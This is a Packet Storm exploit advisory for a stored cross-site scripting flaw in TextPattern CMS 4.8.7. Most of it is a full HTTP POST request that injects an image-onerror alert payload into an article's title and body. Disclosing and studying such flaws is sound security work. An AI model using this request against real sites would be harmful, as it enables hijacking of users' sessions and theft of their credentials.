what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TextPattern CMS 4.8.7 Cross Site Scripting

TextPattern CMS 4.8.7 Cross Site Scripting
Posted Jun 10, 2021
Authored by Mert Das

TextPattern CMS version 4.8.7 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 5e51f1447fde17c90e3be1790ab147aee3c71a152ae4954667270fec50e1ea6c

TextPattern CMS 4.8.7 Cross Site Scripting

Change Mirror Download
# Exploit Title: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.8.7 is vulnerable; other versions may also be affected.

Header

-POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1356274838636633083297009973
Content-Length: 4574
Origin: https://localhost
Connection: close
Referer: https://localhost/textpattern/textpattern/index.php?event=article&ID=2%27
Cookie: txp_login=admin%2C4c96cd31447df40aa2ceea6e052132b6; txp_login_public=895102db7badmin; language=en-gb; currency=USD; PHPSESSID=280d77vpc9brntkqclej5her85

-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="ID"

2
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="event"

article
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="step"

edit
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sPosted"

1623260284
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sLastMod"

1623260295
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="AuthorID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="LastModID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Title"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_body"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Body"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_excerpt"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Excerpt"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Status"

4
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Section"

articles
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="override_form"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="year"

2021
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="month"

06
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="day"

09
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="hour"

19
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="minute"

38
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="second"

04
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_year"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_month"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_day"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_hour"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_minute"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_second"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sExpires"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="url_title"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="description"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Keywords"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Image"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="save"

Save
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="app_mode"

async
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="_txp_token"

346eeab2db04acf953d13529f6be3a74
-----------------------------1356274838636633083297009973--
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close